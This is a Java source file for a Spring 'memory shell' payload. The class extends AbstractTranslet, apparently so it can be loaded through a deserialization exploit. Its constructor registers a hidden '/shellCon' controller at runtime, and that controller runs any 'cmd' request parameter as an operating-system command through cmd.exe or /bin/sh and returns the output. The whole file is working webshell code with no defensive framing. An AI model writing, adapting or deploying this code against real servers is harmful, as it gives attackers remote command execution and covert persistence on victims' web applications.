content: package bad_controller;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.springframework.stereotype.Controller;
  import org.springframework.web.bind.annotation.RequestMapping;
  import org.springframework.web.context.WebApplicationContext;
  import org.springframework.web.context.request.RequestContextHolder;
  import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import java.lang.reflect.Method;
  
  @Controller
  public class BadController_within extends AbstractTranslet {
      public BadController_within() throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
          WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
          RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
          BadController_within badControllerWithin = new BadController_within("any");
          Method declaredMethod = badControllerWithin.getClass().getDeclaredMethod("any", HttpServletRequest.class, HttpServletResponse.class);
          PatternsRequestCondition url = new PatternsRequestCondition("/shellCon");
          // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
          RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
          // 5. 在内存中动态注册 controller
          RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
          r.registerMapping(info, badControllerWithin, declaredMethod);
          System.out.println("/shellCon has been created");
  
      }
  
  
      public BadController_within(String any){
  
      }
  
      @RequestMapping("/any")
      public String any(HttpServletRequest request, HttpServletResponse response) {
          String code = request.getParameter("cmd");
          if(code != null) {
              try {
                  java.io.PrintWriter writer = response.getWriter();
                  String o = "";
                  ProcessBuilder p;
                  if (System.getProperty("os.name").toLowerCase().contains("win")) {
                      p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                  } else {
                      p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                  }
                  java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                  o = c.hasNext() ? c.next() : o;
                  c.close();
                  writer.write(o);
                  writer.flush();
                  writer.close();
              } catch (Exception e) {
              }
          }
  
          return "/any";
      }
  
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  
      }
  }
  